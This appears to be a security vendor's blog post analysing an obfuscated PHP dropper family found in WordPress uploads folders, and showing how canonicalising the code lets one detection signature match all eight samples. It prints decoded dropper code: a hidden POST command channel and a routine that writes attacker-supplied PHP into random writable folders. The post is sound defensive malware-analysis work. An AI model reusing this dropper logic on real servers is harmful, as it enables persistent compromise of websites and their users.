Blog

Anatomy of a PHP Dropper: Eight Obfuscated Files, One Signature

We took apart a real PHP dropper family from WordPress uploads folders. Eight files with different hashes, no readable function names and no VirusTotal record reduced to one canonical form, and a single signature matched them all.

Eight differently scrambled PHP files pass through a lens and come out as eight identical files with the same mark

Eight PHP files reached Pyxsoft Labs within about eight seconds of each other, all from folders under wp-content/uploads. Each had a different hash. Each was unreadable in a different way. VirusTotal had no record of any of them when Labs looked them up.

Underneath, they were the same program. This is how the obfuscation works, what the code actually does, and how it can be matched with a single signature.

What the files look like

Here is the first line of two of the samples, shortened:

<?php function UzKmTXi($NcLpm, $TUBHjQpM, $uluOFXv){global $lvaPVFYJ;$xbEPGl = chr(265-150).chr(1095-979).'r'."\x6c"."\145"."\x6e";return ...
<?php function kAydErnBi($xMRfbcxk, $aUlgsi, $XGWWu){global $MHlrczlds;$NVSWrK = 's'.chr(918-802)."\162"."\154".chr(808-707).'n';return ...

They look different, but both build the same string. Work out the arithmetic and the escapes, and $xbEPGl and $NVSWrK both hold strlen.

The generator combines four tricks:

  • Random names: every function and variable is renamed on each build.
  • Function names assembled from pieces: a name is split into characters, and each one is written as a literal, a hex or octal escape, or chr() with arithmetic. The result is then called through a variable.
  • Dead code: the file is padded with variables that are never used and functions that do nothing, such as $rDWuakFCA = 28;.
  • An encoded channel: the dangerous data never appears in the file. It arrives later, in a POST request, scrambled with XOR.

Why the usual searches fail

We ran a typical malware grep (eval(, base64_decode(, gzinflate(, str_rot13() over the eight files. It found none of them. Those names are not in the files as text:

Text searched in the 8 files Files containing it
eval 0
base64_decode 0
file_put_contents 0
unserialize 0
strlen 0
GLOB_ONLYDIR 8
_POST 8

Hashes do not help either, because the eight SHA-256 values are all different. A signature based on the file’s text has little to hold on to, since almost every token changes between builds.

The file does keep a few things it cannot hide so easily, such as $_POST and the GLOB_ONLYDIR constant. These are useful later as a cheap first filter.

What it actually does

Decoded, with the original random names replaced by descriptive ones and the dead code removed, the entry point comes down to this:

foreach ($_POST as $key => $value) {
    if (strlen($key) == 16) {
        $data = str_split(rawurldecode(str_rot13($value)));
        // XOR with the key and with a GUID stored in the file
        $command = unserialize(xor_decode($data, $key));
        if (is_array($command)) {
            $first = array_keys($command)[0];
            run($command[$first], $first);
        }
    }
}

The attacker’s request carries a parameter whose name is exactly 16 characters long, and that name is also the key. Anything else is ignored, so the file does nothing visible when it is simply visited or probed.

The decoded command does one of two things:

  • Check in: when the first key and its value match, the file prints a serialized array with the PHP version. That tells the attacker the dropper is alive.
  • Drop a file: otherwise, it writes the supplied content to a new file.

The dropping routine shows why this kind of infection keeps coming back:

function writable_dirs($dir) {
    static $found = [];
    $subdirs = glob($dir . '/*', GLOB_ONLYDIR);
    foreach ($subdirs as $subdir) {
        if (is_writable($subdir)) {
            $found[] = $subdir;
        }
    }
    foreach ($subdirs as $dir) {
        writable_dirs($dir);
    }
    return $found;
}

function drop($content) {
    $root = $_SERVER['DOCUMENT_ROOT'];
    $dirs = writable_dirs($root);
    $path = $dirs[array_rand($dirs)] . '/' . substr(md5(time()), 0, 8) . '.php';
    file_put_contents($path, $content);
    print 'http://' . $_SERVER['HTTP_HOST'] . substr($path, strlen($root));
}

It lists every writable folder under the docroot, picks one at random, writes the payload under an eight-character name, and returns the URL. The payload is never stored in the dropper, so scanning the dropper tells you nothing about what it delivered. And because the new file lands in a random folder, it can survive a cleanup of the dropper.

If you find a file like this, assume it has already been used. Removing it is only the start: look for what it left behind and close the way in.

The filenames and folders in this batch include admin.php and wp-login.php inside uploads/elementor/ and uploads/wp-file-manager-pro/. Those folders only tell you where the files landed. The samples alone don’t show how the attacker got in, so don’t read them as proof of a flaw in either plugin.

Reducing it to one form

The obfuscator changes how the code is written, but it can’t change what the code does. So instead of searching the text, our engine, the one behind Pyxsoft Anti Malware, parses the PHP and rewrites it in a canonical form. Nothing in the file is executed. The rewrite:

  • renames every variable to $v and every function defined in the file to I
  • replaces ordinary strings with S
  • works out constant expressions, including concatenation, escapes, chr() with arithmetic, and XOR of strings
  • keeps strings that are PHP function names, because those matter

The opening of the first sample becomes:

function I($v,$v,$v){global$v;$v="strlen";return I(I($v,$v[$v%$v($v)]),$v);}

The second sample produces exactly the same line, and so does the rest of the file:

Before After
Distinct files (SHA-256) 8 1
File size 7,598–7,840 bytes 2,123 bytes

One signature

A signature written on the canonical form no longer depends on the names or on how the strings were split. We tested one that describes the structure: find writable folders recursively, write a file, and accept commands through a POST parameter with a 16-character name. Here it is, wrapped for reading:

PHP.Dropper.PostXor : glob_onlydir :
function I($v){static$v=[];$v=glob($v.S,glob_onlydir);{*}
$v="file_put_contents";$v($v,$v);{*}
foreach($_post as$v=>$v){$v="strlen";if($v($v)==16){

The {*} stands for any code, and the engine only normalizes files containing glob_onlydir, the cheap filter mentioned earlier. Results:

Test set Files Matches
The dropper family 8 8
Other samples from the same batch that also call glob 12 0
Clean PHP (WordPress, popular plugins, Drupal, Joomla, Laravel, Symfony and others) 64,647 0

What this doesn’t solve

This is one family, not a general detection rate, and the method has limits worth stating:

  • It doesn’t merge everything. The other 12 files produce 8 more canonical forms, which this signature doesn’t match. They need signatures of their own.
  • It targets what’s in the file. A heavier change to the code’s logic produces a new form, and with it a new signature to write.
  • Layers have a ceiling. Our engine opens up to 16 levels of eval. Some obfuscators use more than 200, and for those, this technique alone doesn’t reach the final code.

That’s why signatures aren’t the only layer. In this case, the static analyzer had already flagged all eight files as suspicious when they were submitted, with no signature at all. It reads the structure of the code and traces how attacker-supplied data flows through it. Files flagged this way go to the lab, where they are reviewed and turned into signatures for every server.

Takeaways for server administrators

  • A clean grep doesn’t mean a clean server. Use it for leads, never as proof.
  • PHP in uploads deserves a look, whatever its name. admin.php there is no more legitimate than a random string.
  • Remove the dropper, then hunt for the payload. Check for recently changed PHP files in every writable folder, using ctime.

Pyxsoft Anti Malware runs this analysis on cPanel/WHM servers and on servers with no panel, on its own schedule and in real time. It is licensed per server, whatever the number of accounts, and there’s a 7-day free trial, no credit card needed.